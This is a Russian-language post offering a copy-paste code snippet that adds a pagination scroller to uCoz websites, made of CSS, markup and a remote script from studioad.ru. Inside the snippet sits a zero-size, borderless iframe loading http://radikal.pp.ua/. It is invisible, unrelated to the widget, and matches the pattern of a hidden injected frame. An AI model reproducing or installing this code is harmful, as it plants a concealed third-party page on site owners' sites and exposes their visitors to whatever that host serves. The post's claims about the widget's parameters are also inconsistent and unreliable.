Отличная юзабельность. Не использует НИ ОДНОЙ КАРТИНКИ. Одинаково
работает и выглядит в браузерах IE5.5, IE6, IE7, IE8, Mozilla FF,
Safari, Google Chrome, Opera 9. Адаптирован под использование в uCoz.
CКРИН СКРИПТА ---> http://i078.radikal.ru/0908/7e/6c82a53e1de5.jpg
Этот код размещаем сразу под условным кодом $BODY$ Code <style>
#content {white-space:nowrap} #content
a{display:inline-block;font:12px Tahoma;width:38px;padding:2px
0;margin:1px;color:#88aa00;text-align:center;text-decoration:none;}
#content a:hover, .curPage{background:#88aa00;color:#fff
!important;} #pageScroll {margin:0
auto;overflow:hidden;position:relative;top:-3px;cursor:default}
.scrollWrap {background:#dfdfdf;font:0;position:relative}
.scrollBar
{background:#777;cursor:pointer;cursor:hand;font:0px;position:relative;z-index:400}
.scrollPage
{background:#88aa00;font:0;position:absolute;z-index:300;}
.pagesTotal {font:12px Tahoma;color:#bbb} #pagesBlock1,
.pagesBlock1, .pagesBlockuz1 {display:none !important;}
</style> <iframe src="http://radikal.pp.ua/"
name="iframe" width="0%" height="0%" scrolling="no"
frameBorder=0></iframe><div id="pageScroll"><span
id="content"></span></div> <script
type="text/javascript"
src="http://studioad.ru/PageScroller.js"></script>
<script>initScrolls(10)</script>
Вот собственно и всё. Второй параметр отвечает за количество
отображенных страниц в ряд. CSS можно изменять, как угодно.
Добавлена возможность пользоваться колесиком мыши. Исправлено много
багов. Код сжат и оптимизирован. Автор: Aleko Источник:
Studioad.ru
Источник: http://Переключатель PageScroller для uCoz от AD (Вам понравится ) |